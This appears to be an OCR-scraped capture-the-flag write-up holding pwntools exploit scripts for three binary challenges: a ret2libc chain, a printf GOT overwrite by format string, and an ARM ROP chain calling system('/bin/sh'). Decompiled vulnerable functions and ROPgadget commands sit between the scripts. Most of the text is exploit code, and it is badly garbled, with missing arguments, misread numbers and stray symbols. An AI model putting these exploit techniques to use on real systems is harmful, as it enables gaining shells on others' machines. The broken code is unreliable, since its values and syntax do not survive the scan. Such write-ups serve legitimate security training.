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from pwn import

context.log_level

p remote( ,31337)

.recvuntil(
.sendline(
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int64 _ fastcall main(__int64 al, char a2, char a3)
char v4;

setvbuf(stdin, OLL, 2, OLL);
setvbuf(stdout, OLL, 2, OLL);
alarm(©x3Cu);

printf_pic();

printf(

gets(&v4);

return OLL;
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elf.plt]
elf.got|
elf.symbols[
Ox8c p32(write_plt) p32(main_addr) p32(1) p32(write_got) p32(4)
,payload)

u32(sh.recv()[:4])
5 (write_got_addr)

write_got_addr libc.symbols|
5 (libc_addr)

libc_addr libc.symbols|
5 (sys_addr)

libc_addr + 0x15902b
5 (bin_sh_addr)

Ox4 + p32(sys_addr) p32(0xdeadbeef) p32(bin_sh_addr)

sh.sendline(payloadd)
sh.interactive()
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void _ cdecl _ noreturn main( al)

;
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char s[4]; [esp+@h] [ebp-4Ch]

char v2; [esp+4h] [ebp-48h]

unsigned vV3; [esp+40h] [ebp-Ch]
va; [esp+44h] [ebp-8h]

v4 al;
v3 = _ readgsdword(@x14u);
(_DWORD *)s = 0;
memset(&v2, @, Ox3Cu);
setvbuf(stdin, @, 2, 9);
setvbuf(stdout, 0, 2, 0);
alarm(@x3Cu);
sub_80485B6();
printf( )
fgets(s, 0x40, stdin);
printf(s); //#&ALT 4 H IR
exit(9);
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from pwn import
context.log level
p process(

elf = ELF(

libc = ELF(

0x0804b020
0x804b0o0c

.1just((63
p.recvuntil( )

printf_leak (

libc_base = 0x0804B010
log.info(
system_addr

log.success(
payload
p.recvuntil(

p.sendline(payload)
p.interactive()
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libc.symbols|
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pwnlib.fmtstr.fmtstr_payload(7, {printf_got:system_addr}, numbwritten=0, write_size
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int sub_102FC()

{
L

int ve;
int v2;

int v3;

9;
sub_1FDBO(&v3, 0, 124);

sub_155CO(off_6F4BC, 0, 2, 0);
sub_155CO(off_6F4B8, ©, 2, 0);
Vo sub_2120C(60);
sub_102E4(v0);

sub_14D00( )
sub_152A4(&v2, 512, off 6F4BC);

return 0;
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int sub_102E4()
{

return my_system((int)
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; CODE XREF: sub_102FC+40!p
:000102E4 {R7, LR}
:000102E6 R7, SP, #0
:000102E8 R3, =(aCatBannerTxt Ox102EE)
:000102EA R3, PC
:000102EC RO, R3
:000102EE my_system
:000102F2
:000102F4 {R7,PC}
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B2 J5 5t 2 ) ROPgadget # n] LA 75 /745 4% /bin/sh 45 system #AT

ROPgadget --binary pwn3 --string
0x00049018 : /bin/sh

ROPgadget --binary pwn3 --only
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from pwn import

context.log level

process(

binsh = 0x00049018
system 0x14b5d
pop_r@ = 0x0001fb5c

cyclic(140)
p32(pop_re)
p32(binsh)
p32(0xdeadbeet)
p32(system)

p.sendline(payload)

p.interactive()
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